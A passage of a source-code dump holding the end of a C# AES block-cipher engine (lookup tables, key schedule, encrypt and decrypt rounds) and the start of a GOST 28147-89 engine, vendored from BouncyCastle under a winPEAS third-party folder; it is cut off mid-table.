0x29eeeec7, 0xd3b8b86b, 0x3c141428, 0x79dedea7, 0xe25e5ebc, 0x1d0b0b16, 0x76dbdbad, 0x3be0e0db, 0x56323264, 0x4e3a3a74, 0x1e0a0a14, 0xdb494992, 0x0a06060c, 0x6c242448, 0xe45c5cb8, 0x5dc2c29f, 0x6ed3d3bd, 0xefacac43, 0xa66262c4, 0xa8919139, 0xa4959531, 0x37e4e4d3, 0x8b7979f2, 0x32e7e7d5, 0x43c8c88b, 0x5937376e, 0xb76d6dda, 0x8c8d8d01, 0x64d5d5b1, 0xd24e4e9c, 0xe0a9a949, 0xb46c6cd8, 0xfa5656ac, 0x07f4f4f3, 0x25eaeacf, 0xaf6565ca, 0x8e7a7af4, 0xe9aeae47, 0x18080810, 0xd5baba6f, 0x887878f0, 0x6f25254a, 0x722e2e5c, 0x241c1c38, 0xf1a6a657, 0xc7b4b473, 0x51c6c697, 0x23e8e8cb, 0x7cdddda1, 0x9c7474e8, 0x211f1f3e, 0xdd4b4b96, 0xdcbdbd61, 0x868b8b0d, 0x858a8a0f, 0x907070e0, 0x423e3e7c, 0xc4b5b571, 0xaa6666cc, 0xd8484890, 0x05030306, 0x01f6f6f7, 0x120e0e1c, 0xa36161c2, 0x5f35356a, 0xf95757ae, 0xd0b9b969, 0x91868617, 0x58c1c199, 0x271d1d3a, 0xb99e9e27, 0x38e1e1d9, 0x13f8f8eb, 0xb398982b, 0x33111122, 0xbb6969d2, 0x70d9d9a9, 0x898e8e07, 0xa7949433, 0xb69b9b2d, 0x221e1e3c, 0x92878715, 0x20e9e9c9, 0x49cece87, 0xff5555aa, 0x78282850, 0x7adfdfa5, 0x8f8c8c03, 0xf8a1a159, 0x80898909, 0x170d0d1a, 0xdabfbf65, 0x31e6e6d7, 0xc6424284, 0xb86868d0, 0xc3414182, 0xb0999929, 0x772d2d5a, 0x110f0f1e, 0xcbb0b07b, 0xfc5454a8, 0xd6bbbb6d, 0x3a16162c }; private static readonly uint[] Tinv0 = { 0x50a7f451, 0x5365417e, 0xc3a4171a, 0x965e273a, 0xcb6bab3b, 0xf1459d1f, 0xab58faac, 0x9303e34b, 0x55fa3020, 0xf66d76ad, 0x9176cc88, 0x254c02f5, 0xfcd7e54f, 0xd7cb2ac5, 0x80443526, 0x8fa362b5, 0x495ab1de, 0x671bba25, 0x980eea45, 0xe1c0fe5d, 0x02752fc3, 0x12f04c81, 0xa397468d, 0xc6f9d36b, 0xe75f8f03, 0x959c9215, 0xeb7a6dbf, 0xda595295, 0x2d83bed4, 0xd3217458, 0x2969e049, 0x44c8c98e, 0x6a89c275, 0x78798ef4, 0x6b3e5899, 0xdd71b927, 0xb64fe1be, 0x17ad88f0, 0x66ac20c9, 0xb43ace7d, 0x184adf63, 0x82311ae5, 0x60335197, 0x457f5362, 0xe07764b1, 0x84ae6bbb, 0x1ca081fe, 0x942b08f9, 0x58684870, 0x19fd458f, 0x876cde94, 0xb7f87b52, 0x23d373ab, 0xe2024b72, 0x578f1fe3, 0x2aab5566, 0x0728ebb2, 0x03c2b52f, 0x9a7bc586, 0xa50837d3, 0xf2872830, 0xb2a5bf23, 0xba6a0302, 0x5c8216ed, 0x2b1ccf8a, 0x92b479a7, 0xf0f207f3, 0xa1e2694e, 0xcdf4da65, 0xd5be0506, 0x1f6234d1, 0x8afea6c4, 0x9d532e34, 0xa055f3a2, 0x32e18a05, 0x75ebf6a4, 0x39ec830b, 0xaaef6040, 0x069f715e, 0x51106ebd, 0xf98a213e, 0x3d06dd96, 0xae053edd, 0x46bde64d, 0xb58d5491, 0x055dc471, 0x6fd40604, 0xff155060, 0x24fb9819, 0x97e9bdd6, 0xcc434089, 0x779ed967, 0xbd42e8b0, 0x888b8907, 0x385b19e7, 0xdbeec879, 0x470a7ca1, 0xe90f427c, 0xc91e84f8, 0x00000000, 0x83868009, 0x48ed2b32, 0xac70111e, 0x4e725a6c, 0xfbff0efd, 0x5638850f, 0x1ed5ae3d, 0x27392d36, 0x64d90f0a, 0x21a65c68, 0xd1545b9b, 0x3a2e3624, 0xb1670a0c, 0x0fe75793, 0xd296eeb4, 0x9e919b1b, 0x4fc5c080, 0xa220dc61, 0x694b775a, 0x161a121c, 0x0aba93e2, 0xe52aa0c0, 0x43e0223c, 0x1d171b12, 0x0b0d090e, 0xadc78bf2, 0xb9a8b62d, 0xc8a91e14, 0x8519f157, 0x4c0775af, 0xbbdd99ee, 0xfd607fa3, 0x9f2601f7, 0xbcf5725c, 0xc53b6644, 0x347efb5b, 0x7629438b, 0xdcc623cb, 0x68fcedb6, 0x63f1e4b8, 0xcadc31d7, 0x10856342, 0x40229713, 0x2011c684, 0x7d244a85, 0xf83dbbd2, 0x1132f9ae, 0x6da129c7, 0x4b2f9e1d, 0xf330b2dc, 0xec52860d, 0xd0e3c177, 0x6c16b32b, 0x99b970a9, 0xfa489411, 0x2264e947, 0xc48cfca8, 0x1a3ff0a0, 0xd82c7d56, 0xef903322, 0xc74e4987, 0xc1d138d9, 0xfea2ca8c, 0x360bd498, 0xcf81f5a6, 0x28de7aa5, 0x268eb7da, 0xa4bfad3f, 0xe49d3a2c, 0x0d927850, 0x9bcc5f6a, 0x62467e54, 0xc2138df6, 0xe8b8d890, 0x5ef7392e, 0xf5afc382, 0xbe805d9f, 0x7c93d069, 0xa92dd56f, 0xb31225cf, 0x3b99acc8, 0xa77d1810, 0x6e639ce8, 0x7bbb3bdb, 0x097826cd, 0xf418596e, 0x01b79aec, 0xa89a4f83, 0x656e95e6, 0x7ee6ffaa, 0x08cfbc21, 0xe6e815ef, 0xd99be7ba, 0xce366f4a, 0xd4099fea, 0xd67cb029, 0xafb2a431, 0x31233f2a, 0x3094a5c6, 0xc066a235, 0x37bc4e74, 0xa6ca82fc, 0xb0d090e0, 0x15d8a733, 0x4a9804f1, 0xf7daec41, 0x0e50cd7f, 0x2ff69117, 0x8dd64d76, 0x4db0ef43, 0x544daacc, 0xdf0496e4, 0xe3b5d19e, 0x1b886a4c, 0xb81f2cc1, 0x7f516546, 0x04ea5e9d, 0x5d358c01, 0x737487fa, 0x2e410bfb, 0x5a1d67b3, 0x52d2db92, 0x335610e9, 0x1347d66d, 0x8c61d79a, 0x7a0ca137, 0x8e14f859, 0x893c13eb, 0xee27a9ce, 0x35c961b7, 0xede51ce1, 0x3cb1477a, 0x59dfd29c, 0x3f73f255, 0x79ce1418, 0xbf37c773, 0xeacdf753, 0x5baafd5f, 0x146f3ddf, 0x86db4478, 0x81f3afca, 0x3ec468b9, 0x2c342438, 0x5f40a3c2, 0x72c31d16, 0x0c25e2bc, 0x8b493c28, 0x41950dff, 0x7101a839, 0xdeb30c08, 0x9ce4b4d8, 0x90c15664, 0x6184cb7b, 0x70b632d5, 0x745c6c48, 0x4257b8d0 }; private static uint Shift(uint r, int shift) { return (r >> shift) | (r << (32 - shift)); } /* multiply four bytes in GF(2^8) by 'x' {02} in parallel */ private const uint m1 = 0x80808080; private const uint m2 = 0x7f7f7f7f; private const uint m3 = 0x0000001b; private const uint m4 = 0xC0C0C0C0; private const uint m5 = 0x3f3f3f3f; private static uint FFmulX(uint x) { return ((x & m2) << 1) ^ (((x & m1) >> 7) * m3); } private static uint FFmulX2(uint x) { uint t0 = (x & m5) << 2; uint t1 = (x & m4); t1 ^= (t1 >> 1); return t0 ^ (t1 >> 2) ^ (t1 >> 5); } /* The following defines provide alternative definitions of FFmulX that might give improved performance if a fast 32-bit multiply is not available. private int FFmulX(int x) { int u = x & m1; u |= (u >> 1); return ((x & m2) << 1) ^ ((u >>> 3) | (u >>> 6)); } private static final int m4 = 0x1b1b1b1b; private int FFmulX(int x) { int u = x & m1; return ((x & m2) << 1) ^ ((u - (u >>> 7)) & m4); } */ private static uint Inv_Mcol(uint x) { uint t0, t1; t0 = x; t1 = t0 ^ Shift(t0, 8); t0 ^= FFmulX(t1); t1 ^= FFmulX2(t0); t0 ^= t1 ^ Shift(t1, 16); return t0; } private static uint SubWord(uint x) { return (uint)S[x & 255] | (((uint)S[(x >> 8) & 255]) << 8) | (((uint)S[(x >> 16) & 255]) << 16) | (((uint)S[(x >> 24) & 255]) << 24); } /** * Calculate the necessary round keys * The number of calculations depends on key size and block size * AES specified a fixed block size of 128 bits and key sizes 128/192/256 bits * This code is written assuming those are the only possible values */ private uint[][] GenerateWorkingKey(byte[] key, bool forEncryption) { int keyLen = key.Length; if (keyLen < 16 || keyLen > 32 || (keyLen & 7) != 0) throw new ArgumentException("Key length not 128/192/256 bits."); int KC = keyLen >> 2; this.ROUNDS = KC + 6; // This is not always true for the generalized Rijndael that allows larger block sizes uint[][] W = new uint[ROUNDS + 1][]; // 4 words in a block for (int i = 0; i <= ROUNDS; ++i) { W[i] = new uint[4]; } switch (KC) { case 4: { uint t0 = Pack.LE_To_UInt32(key, 0); W[0][0] = t0; uint t1 = Pack.LE_To_UInt32(key, 4); W[0][1] = t1; uint t2 = Pack.LE_To_UInt32(key, 8); W[0][2] = t2; uint t3 = Pack.LE_To_UInt32(key, 12); W[0][3] = t3; for (int i = 1; i <= 10; ++i) { uint u = SubWord(Shift(t3, 8)) ^ rcon[i - 1]; t0 ^= u; W[i][0] = t0; t1 ^= t0; W[i][1] = t1; t2 ^= t1; W[i][2] = t2; t3 ^= t2; W[i][3] = t3; } break; } case 6: { uint t0 = Pack.LE_To_UInt32(key, 0); W[0][0] = t0; uint t1 = Pack.LE_To_UInt32(key, 4); W[0][1] = t1; uint t2 = Pack.LE_To_UInt32(key, 8); W[0][2] = t2; uint t3 = Pack.LE_To_UInt32(key, 12); W[0][3] = t3; uint t4 = Pack.LE_To_UInt32(key, 16); W[1][0] = t4; uint t5 = Pack.LE_To_UInt32(key, 20); W[1][1] = t5; uint rcon = 1; uint u = SubWord(Shift(t5, 8)) ^ rcon; rcon <<= 1; t0 ^= u; W[1][2] = t0; t1 ^= t0; W[1][3] = t1; t2 ^= t1; W[2][0] = t2; t3 ^= t2; W[2][1] = t3; t4 ^= t3; W[2][2] = t4; t5 ^= t4; W[2][3] = t5; for (int i = 3; i < 12; i += 3) { u = SubWord(Shift(t5, 8)) ^ rcon; rcon <<= 1; t0 ^= u; W[i][0] = t0; t1 ^= t0; W[i][1] = t1; t2 ^= t1; W[i][2] = t2; t3 ^= t2; W[i][3] = t3; t4 ^= t3; W[i + 1][0] = t4; t5 ^= t4; W[i + 1][1] = t5; u = SubWord(Shift(t5, 8)) ^ rcon; rcon <<= 1; t0 ^= u; W[i + 1][2] = t0; t1 ^= t0; W[i + 1][3] = t1; t2 ^= t1; W[i + 2][0] = t2; t3 ^= t2; W[i + 2][1] = t3; t4 ^= t3; W[i + 2][2] = t4; t5 ^= t4; W[i + 2][3] = t5; } u = SubWord(Shift(t5, 8)) ^ rcon; t0 ^= u; W[12][0] = t0; t1 ^= t0; W[12][1] = t1; t2 ^= t1; W[12][2] = t2; t3 ^= t2; W[12][3] = t3; break; } case 8: { uint t0 = Pack.LE_To_UInt32(key, 0); W[0][0] = t0; uint t1 = Pack.LE_To_UInt32(key, 4); W[0][1] = t1; uint t2 = Pack.LE_To_UInt32(key, 8); W[0][2] = t2; uint t3 = Pack.LE_To_UInt32(key, 12); W[0][3] = t3; uint t4 = Pack.LE_To_UInt32(key, 16); W[1][0] = t4; uint t5 = Pack.LE_To_UInt32(key, 20); W[1][1] = t5; uint t6 = Pack.LE_To_UInt32(key, 24); W[1][2] = t6; uint t7 = Pack.LE_To_UInt32(key, 28); W[1][3] = t7; uint u, rcon = 1; for (int i = 2; i < 14; i += 2) { u = SubWord(Shift(t7, 8)) ^ rcon; rcon <<= 1; t0 ^= u; W[i][0] = t0; t1 ^= t0; W[i][1] = t1; t2 ^= t1; W[i][2] = t2; t3 ^= t2; W[i][3] = t3; u = SubWord(t3); t4 ^= u; W[i + 1][0] = t4; t5 ^= t4; W[i + 1][1] = t5; t6 ^= t5; W[i + 1][2] = t6; t7 ^= t6; W[i + 1][3] = t7; } u = SubWord(Shift(t7, 8)) ^ rcon; t0 ^= u; W[14][0] = t0; t1 ^= t0; W[14][1] = t1; t2 ^= t1; W[14][2] = t2; t3 ^= t2; W[14][3] = t3; break; } default: { throw new InvalidOperationException("Should never get here"); } } if (!forEncryption) { for (int j = 1; j < ROUNDS; j++) { uint[] w = W[j]; for (int i = 0; i < 4; i++) { w[i] = Inv_Mcol(w[i]); } } } return W; } private int ROUNDS; private uint[][] WorkingKey; private uint C0, C1, C2, C3; private bool forEncryption; private byte[] s; private const int BLOCK_SIZE = 16; /** * default constructor - 128 bit block size. */ public AesEngine() { } /** * initialise an AES cipher. * * @param forEncryption whether or not we are for encryption. * @param parameters the parameters required to set up the cipher. * @exception ArgumentException if the parameters argument is * inappropriate. */ public virtual void Init( bool forEncryption, ICipherParameters parameters) { KeyParameter keyParameter = parameters as KeyParameter; if (keyParameter == null) throw new ArgumentException("invalid parameter passed to AES init - " + Platform.GetTypeName(parameters)); WorkingKey = GenerateWorkingKey(keyParameter.GetKey(), forEncryption); this.forEncryption = forEncryption; this.s = Arrays.Clone(forEncryption ? S : Si); } public virtual string AlgorithmName { get { return "AES"; } } public virtual bool IsPartialBlockOkay { get { return false; } } public virtual int GetBlockSize() { return BLOCK_SIZE; } public virtual int ProcessBlock( byte[] input, int inOff, byte[] output, int outOff) { if (WorkingKey == null) throw new InvalidOperationException("AES engine not initialised"); Check.DataLength(input, inOff, 16, "input buffer too short"); Check.OutputLength(output, outOff, 16, "output buffer too short"); UnPackBlock(input, inOff); if (forEncryption) { EncryptBlock(WorkingKey); } else { DecryptBlock(WorkingKey); } PackBlock(output, outOff); return BLOCK_SIZE; } public virtual void Reset() { } private void UnPackBlock( byte[] bytes, int off) { C0 = Pack.LE_To_UInt32(bytes, off); C1 = Pack.LE_To_UInt32(bytes, off + 4); C2 = Pack.LE_To_UInt32(bytes, off + 8); C3 = Pack.LE_To_UInt32(bytes, off + 12); } private void PackBlock( byte[] bytes, int off) { Pack.UInt32_To_LE(C0, bytes, off); Pack.UInt32_To_LE(C1, bytes, off + 4); Pack.UInt32_To_LE(C2, bytes, off + 8); Pack.UInt32_To_LE(C3, bytes, off + 12); } private void EncryptBlock(uint[][] KW) { uint[] kw = KW[0]; uint t0 = this.C0 ^ kw[0]; uint t1 = this.C1 ^ kw[1]; uint t2 = this.C2 ^ kw[2]; uint r0, r1, r2, r3 = this.C3 ^ kw[3]; int r = 1; while (r < ROUNDS - 1) { kw = KW[r++]; r0 = T0[t0 & 255] ^ Shift(T0[(t1 >> 8) & 255], 24) ^ Shift(T0[(t2 >> 16) & 255], 16) ^ Shift(T0[(r3 >> 24) & 255], 8) ^ kw[0]; r1 = T0[t1 & 255] ^ Shift(T0[(t2 >> 8) & 255], 24) ^ Shift(T0[(r3 >> 16) & 255], 16) ^ Shift(T0[(t0 >> 24) & 255], 8) ^ kw[1]; r2 = T0[t2 & 255] ^ Shift(T0[(r3 >> 8) & 255], 24) ^ Shift(T0[(t0 >> 16) & 255], 16) ^ Shift(T0[(t1 >> 24) & 255], 8) ^ kw[2]; r3 = T0[r3 & 255] ^ Shift(T0[(t0 >> 8) & 255], 24) ^ Shift(T0[(t1 >> 16) & 255], 16) ^ Shift(T0[(t2 >> 24) & 255], 8) ^ kw[3]; kw = KW[r++]; t0 = T0[r0 & 255] ^ Shift(T0[(r1 >> 8) & 255], 24) ^ Shift(T0[(r2 >> 16) & 255], 16) ^ Shift(T0[(r3 >> 24) & 255], 8) ^ kw[0]; t1 = T0[r1 & 255] ^ Shift(T0[(r2 >> 8) & 255], 24) ^ Shift(T0[(r3 >> 16) & 255], 16) ^ Shift(T0[(r0 >> 24) & 255], 8) ^ kw[1]; t2 = T0[r2 & 255] ^ Shift(T0[(r3 >> 8) & 255], 24) ^ Shift(T0[(r0 >> 16) & 255], 16) ^ Shift(T0[(r1 >> 24) & 255], 8) ^ kw[2]; r3 = T0[r3 & 255] ^ Shift(T0[(r0 >> 8) & 255], 24) ^ Shift(T0[(r1 >> 16) & 255], 16) ^ Shift(T0[(r2 >> 24) & 255], 8) ^ kw[3]; } kw = KW[r++]; r0 = T0[t0 & 255] ^ Shift(T0[(t1 >> 8) & 255], 24) ^ Shift(T0[(t2 >> 16) & 255], 16) ^ Shift(T0[(r3 >> 24) & 255], 8) ^ kw[0]; r1 = T0[t1 & 255] ^ Shift(T0[(t2 >> 8) & 255], 24) ^ Shift(T0[(r3 >> 16) & 255], 16) ^ Shift(T0[(t0 >> 24) & 255], 8) ^ kw[1]; r2 = T0[t2 & 255] ^ Shift(T0[(r3 >> 8) & 255], 24) ^ Shift(T0[(t0 >> 16) & 255], 16) ^ Shift(T0[(t1 >> 24) & 255], 8) ^ kw[2]; r3 = T0[r3 & 255] ^ Shift(T0[(t0 >> 8) & 255], 24) ^ Shift(T0[(t1 >> 16) & 255], 16) ^ Shift(T0[(t2 >> 24) & 255], 8) ^ kw[3]; // the final round's table is a simple function of S so we don't use a whole other four tables for it kw = KW[r]; this.C0 = (uint)S[r0 & 255] ^ (((uint)S[(r1 >> 8) & 255]) << 8) ^ (((uint)s[(r2 >> 16) & 255]) << 16) ^ (((uint)s[(r3 >> 24) & 255]) << 24) ^ kw[0]; this.C1 = (uint)s[r1 & 255] ^ (((uint)S[(r2 >> 8) & 255]) << 8) ^ (((uint)S[(r3 >> 16) & 255]) << 16) ^ (((uint)s[(r0 >> 24) & 255]) << 24) ^ kw[1]; this.C2 = (uint)s[r2 & 255] ^ (((uint)S[(r3 >> 8) & 255]) << 8) ^ (((uint)S[(r0 >> 16) & 255]) << 16) ^ (((uint)S[(r1 >> 24) & 255]) << 24) ^ kw[2]; this.C3 = (uint)s[r3 & 255] ^ (((uint)s[(r0 >> 8) & 255]) << 8) ^ (((uint)s[(r1 >> 16) & 255]) << 16) ^ (((uint)S[(r2 >> 24) & 255]) << 24) ^ kw[3]; } private void DecryptBlock(uint[][] KW) { uint[] kw = KW[ROUNDS]; uint t0 = this.C0 ^ kw[0]; uint t1 = this.C1 ^ kw[1]; uint t2 = this.C2 ^ kw[2]; uint r0, r1, r2, r3 = this.C3 ^ kw[3]; int r = ROUNDS - 1; while (r > 1) { kw = KW[r--]; r0 = Tinv0[t0 & 255] ^ Shift(Tinv0[(r3 >> 8) & 255], 24) ^ Shift(Tinv0[(t2 >> 16) & 255], 16) ^ Shift(Tinv0[(t1 >> 24) & 255], 8) ^ kw[0]; r1 = Tinv0[t1 & 255] ^ Shift(Tinv0[(t0 >> 8) & 255], 24) ^ Shift(Tinv0[(r3 >> 16) & 255], 16) ^ Shift(Tinv0[(t2 >> 24) & 255], 8) ^ kw[1]; r2 = Tinv0[t2 & 255] ^ Shift(Tinv0[(t1 >> 8) & 255], 24) ^ Shift(Tinv0[(t0 >> 16) & 255], 16) ^ Shift(Tinv0[(r3 >> 24) & 255], 8) ^ kw[2]; r3 = Tinv0[r3 & 255] ^ Shift(Tinv0[(t2 >> 8) & 255], 24) ^ Shift(Tinv0[(t1 >> 16) & 255], 16) ^ Shift(Tinv0[(t0 >> 24) & 255], 8) ^ kw[3]; kw = KW[r--]; t0 = Tinv0[r0 & 255] ^ Shift(Tinv0[(r3 >> 8) & 255], 24) ^ Shift(Tinv0[(r2 >> 16) & 255], 16) ^ Shift(Tinv0[(r1 >> 24) & 255], 8) ^ kw[0]; t1 = Tinv0[r1 & 255] ^ Shift(Tinv0[(r0 >> 8) & 255], 24) ^ Shift(Tinv0[(r3 >> 16) & 255], 16) ^ Shift(Tinv0[(r2 >> 24) & 255], 8) ^ kw[1]; t2 = Tinv0[r2 & 255] ^ Shift(Tinv0[(r1 >> 8) & 255], 24) ^ Shift(Tinv0[(r0 >> 16) & 255], 16) ^ Shift(Tinv0[(r3 >> 24) & 255], 8) ^ kw[2]; r3 = Tinv0[r3 & 255] ^ Shift(Tinv0[(r2 >> 8) & 255], 24) ^ Shift(Tinv0[(r1 >> 16) & 255], 16) ^ Shift(Tinv0[(r0 >> 24) & 255], 8) ^ kw[3]; } kw = KW[1]; r0 = Tinv0[t0 & 255] ^ Shift(Tinv0[(r3 >> 8) & 255], 24) ^ Shift(Tinv0[(t2 >> 16) & 255], 16) ^ Shift(Tinv0[(t1 >> 24) & 255], 8) ^ kw[0]; r1 = Tinv0[t1 & 255] ^ Shift(Tinv0[(t0 >> 8) & 255], 24) ^ Shift(Tinv0[(r3 >> 16) & 255], 16) ^ Shift(Tinv0[(t2 >> 24) & 255], 8) ^ kw[1]; r2 = Tinv0[t2 & 255] ^ Shift(Tinv0[(t1 >> 8) & 255], 24) ^ Shift(Tinv0[(t0 >> 16) & 255], 16) ^ Shift(Tinv0[(r3 >> 24) & 255], 8) ^ kw[2]; r3 = Tinv0[r3 & 255] ^ Shift(Tinv0[(t2 >> 8) & 255], 24) ^ Shift(Tinv0[(t1 >> 16) & 255], 16) ^ Shift(Tinv0[(t0 >> 24) & 255], 8) ^ kw[3]; // the final round's table is a simple function of Si so we don't use a whole other four tables for it kw = KW[0]; this.C0 = (uint)Si[r0 & 255] ^ (((uint)s[(r3 >> 8) & 255]) << 8) ^ (((uint)s[(r2 >> 16) & 255]) << 16) ^ (((uint)Si[(r1 >> 24) & 255]) << 24) ^ kw[0]; this.C1 = (uint)s[r1 & 255] ^ (((uint)s[(r0 >> 8) & 255]) << 8) ^ (((uint)Si[(r3 >> 16) & 255]) << 16) ^ (((uint)s[(r2 >> 24) & 255]) << 24) ^ kw[1]; this.C2 = (uint)s[r2 & 255] ^ (((uint)Si[(r1 >> 8) & 255]) << 8) ^ (((uint)Si[(r0 >> 16) & 255]) << 16) ^ (((uint)s[(r3 >> 24) & 255]) << 24) ^ kw[2]; this.C3 = (uint)Si[r3 & 255] ^ (((uint)s[(r2 >> 8) & 255]) << 8) ^ (((uint)s[(r1 >> 16) & 255]) << 16) ^ (((uint)s[(r0 >> 24) & 255]) << 24) ^ kw[3]; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/engines/Gost28147Engine.cs ================================================ using System; using System.Collections; using winPEAS._3rdParty.BouncyCastle.crypto.parameters; using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.engines { /** * implementation of GOST 28147-89 */ public class Gost28147Engine : IBlockCipher { private const int BlockSize = 8; private int[] workingKey = null; private bool forEncryption; private byte[] S = Sbox_Default; // these are the S-boxes given in Applied Cryptography 2nd Ed., p. 333 // This is default S-box! private static readonly byte[] Sbox_Default = { 0x4,0xA,0x9,0x2,0xD,0x8,0x0,0xE,0x6,0xB,0x1,0xC,0x7,0xF,0x5,0x3, 0xE,0xB,0x4,0xC,0x6,0xD,0xF,0xA,0x2,0x3,0x8,0x1,0x0,0x7,0x5,0x9, 0x5,0x8,0x1,0xD,0xA,0x3,0x4,0x2,0xE,0xF,0xC,0x7,0x6,0x0,0x9,0xB, 0x7,0xD,0xA,0x1,0x0,0x8,0x9,0xF,0xE,0x4,0x6,0xC,0xB,0x2,0x5,0x3, 0x6,0xC,0x7,0x1,0x5,0xF,0xD,0x8,0x4,0xA,0x9,0xE,0x0,0x3,0xB,0x2, 0x4,0xB,0xA,0x0,0x7,0x2,0x1,0xD,0x3,0x6,0x8,0x5,0x9,0xC,0xF,0xE, 0xD,0xB,0x4,0x1,0x3,0xF,0x5,0x9,0x0,0xA,0xE,0x7,0x6,0x8,0x2,0xC, 0x1,0xF,0xD,0x0,0x5,0x7,0xA,0x4,0x9,0x2,0x3,0xE,0x6,0xB,0x8,0xC }; /* * class content S-box parameters for encrypting * getting from, see: http://tools.ietf.org/id/draft-popov-cryptopro-cpalgs-01.txt * http://tools.ietf.org/id/draft-popov-cryptopro-cpalgs-02.txt */ private static readonly byte[] ESbox_Test = { 0x4,0x2,0xF,0x5,0x9,0x1,0x0,0x8,0xE,0x3,0xB,0xC,0xD,0x7,0xA,0x6, 0xC,0x9,0xF,0xE,0x8,0x1,0x3,0xA,0x2,0x7,0x4,0xD,0x6,0x0,0xB,0x5, 0xD,0x8,0xE,0xC,0x7,0x3,0x9,0xA,0x1,0x5,0x2,0x4,0x6,0xF,0x0,0xB, 0xE,0x9,0xB,0x2,0x5,0xF,0x7,0x1,0x0,0xD,0xC,0x6,0xA,0x4,0x3,0x8, 0x3,0xE,0x5,0x9,0x6,0x8,0x0,0xD,0xA,0xB,0x7,0xC,0x2,0x1,0xF,0x4, 0x8,0xF,0x6,0xB,0x1,0x9,0xC,0x5,0xD,0x3,0x7,0xA,0x0,0xE,0x2,0x4, 0x9,0xB,0xC,0x0,0x3,0x6,0x7,0x5,0x4,0x8,0xE,0xF,0x1,0xA,0x2,0xD, 0xC,0x6,0x5,0x2,0xB,0x0,0x9,0xD,0x3,0xE,0x7,0xA,0xF,0x4,0x1,0x8 }; private static readonly byte[] ESbox_A = { 0x9,0x6,0x3,0x2,0x8,0xB,0x1,0x7,0xA,0x4,0xE,0xF,0xC,0x0,0xD,0x5, 0x3,0x7,0xE,0x9,0x8,0xA,0xF,0x0,0x5,0x2,0x6,0xC,0xB,0x4,0xD,0x1, 0xE,0x4,0x6,0x2,0xB,0x3,0xD,0x8,0xC,0xF,0x5,0xA,0x0,0x7,0x1,0x9, 0xE,0x7,0xA,0xC,0xD,0x1,0x3,0x9,0x0,0x2,0xB,0x4,0xF,0x8,0x5,0x6, 0xB,0x5,0x1,0x9,0x8,0xD,0xF,0x0,0xE,0x4,0x2,0x3,0xC,0x7,0xA,0x6, 0x3,0xA,0xD,0xC,0x1,0x2,0x0,0xB,0x7,0x5,0x9,0x4,0x8,0xF,0xE,0x6, 0x1,0xD,0x2,0x9,0x7,0xA,0x6,0x0,0x8,0xC,0x4,0x5,0xF,0x3,0xB,0xE, 0xB,0xA,0xF,0x5,0x0,0xC,0xE,0x8,0x6,0x2,0x3,0x9,0x1,0x7,0xD,0x4 }; private static readonly byte[] ESbox_B = { 0x8,0x4,0xB,0x1,0x3,0x5,0x0,0x9,0x2,0xE,0xA,0xC,0xD,0x6,0x7,0xF, 0x0,0x1,0x2,0xA,0x4,0xD,0x5,0xC,0x9,0x7,0x3,0xF,0xB,0x8,0x6,0xE, 0xE,0xC,0x0,0xA,0x9,0x2,0xD,0xB,0x7,0x5,0x8,0xF,0x3,0x6,0x1,0x4, 0x7,0x5,0x0,0xD,0xB,0x6,0x1,0x2,0x3,0xA,0xC,0xF,0x4,0xE,0x9,0x8, 0x2,0x7,0xC,0xF,0x9,0x5,0xA,0xB,0x1,0x4,0x0,0xD,0x6,0x8,0xE,0x3, 0x8,0x3,0x2,0x6,0x4,0xD,0xE,0xB,0xC,0x1,0x7,0xF,0xA,0x0,0x9,0x5, 0x5,0x2,0xA,0xB,0x9,0x1,0xC,0x3,0x7,0x4,0xD,0x0,0x6,0xF,0x8,0xE, 0x0,0x4,0xB,0xE,0x8,0x3,0x7,0x1,0xA,0x2,0x9,0x6,0xF,0xD,0x5,0xC }; private static readonly byte[] ESbox_C = { 0x1,0xB,0xC,0x2,0x9,0xD,0x0,0xF,0x4,0x5,0x8,0xE,0xA,0x7,0x6,0x3, 0x0,0x1,0x7,0xD,0xB,0x4,0x5,0x2,0x8,0xE,0xF,0xC,0x9,0xA,0x6,0x3, 0x8,0x2,0x5,0x0,0x4,0x9,0xF,0xA,0x3,0x7,0xC,0xD,0x6,0xE,0x1,0xB, 0x3,0x6,0x0,0x1,0x5,0xD,0xA,0x8,0xB,0x2,0x9,0x7,0xE,0xF,0xC,0x4, 0x8,0xD,0xB,0x0,0x4,0x5,0x1,0x2,0x9,0x3,0xC,0xE,0x6,0xF,0xA,0x7, 0xC,0x9,0xB,0x1,0x8,0xE,0x2,0x4,0x7,0x3,0x6,0x5,0xA,0x0,0xF,0xD, 0xA,0x9,0x6,0x8,0xD,0xE,0x2,0x0,0xF,0x3,0x5,0xB,0x4,0x1,0xC,0x7, 0x7,0x4,0x0,0x5,0xA,0x2,0xF,0xE,0xC,0x6,0x1,0xB,0xD,0x9,0x3,0x8 }; private static readonly byte[] ESbox_D = { 0xF,0xC,0x2,0xA,0x6,0x4,0x5,0x0,0x7,0x9,0xE,0xD,0x1,0xB,0x8,0x3, 0xB,0x6,0x3,0x4,0xC,0xF,0xE,0x2,0x7,0xD,0x8,0x0,0x5,0xA,0x9,0x1, 0x1,0xC,0xB,0x0,0xF,0xE,0x6,0x5,0xA,0xD,0x4,0x8,0x9,0x3,0x7,0x2, 0x1,0x5,0xE,0xC,0xA,0x7,0x0,0xD,0x6,0x2,0xB,0x4,0x9,0x3,0xF,0x8, 0x0,0xC,0x8,0x9,0xD,0x2,0xA,0xB,0x7,0x3,0x6,0x5,0x4,0xE,0xF,0x1, 0x8,0x0,0xF,0x3,0x2,0x5,0xE,0xB,0x1,0xA,0x4,0x7,0xC,0x9,0xD,0x6, 0x3,0x0,0x6,0xF,0x1,0xE,0x9,0x2,0xD,0x8,0xC,0x4,0xB,0xA,0x5,0x7, 0x1,0xA,0x6,0x8,0xF,0xB,0x0,0x4,0xC,0x3,0x5,0x9,0x7,0xD,0x2,0xE }; //S-box for digest private static readonly byte[] DSbox_Test = { 0x4,0xA,0x9,0x2,0xD,0x8,0x0,0xE,0x6,0xB,0x1,0xC,0x7,0xF,0x5,0x3, 0xE,0xB,0x4,0xC,0x6,0xD,0xF,0xA,0x2,0x3,0x8,0x1,0x0,0x7,0x5,0x9, 0x5,0x8,0x1,0xD,0xA,0x3,0x4,0x2,0xE,0xF,0xC,0x7,0x6,0x0,0x9,0xB, 0x7,0xD,0xA,0x1,0x0,0x8,0x9,0xF,0xE,0x4,0x6,0xC,0xB,0x2,0x5,0x3, 0x6,0xC,0x7,0x1,0x5,0xF,0xD,0x8,0x4,0xA,0x9,0xE,0x0,0x3,0xB,0x2, 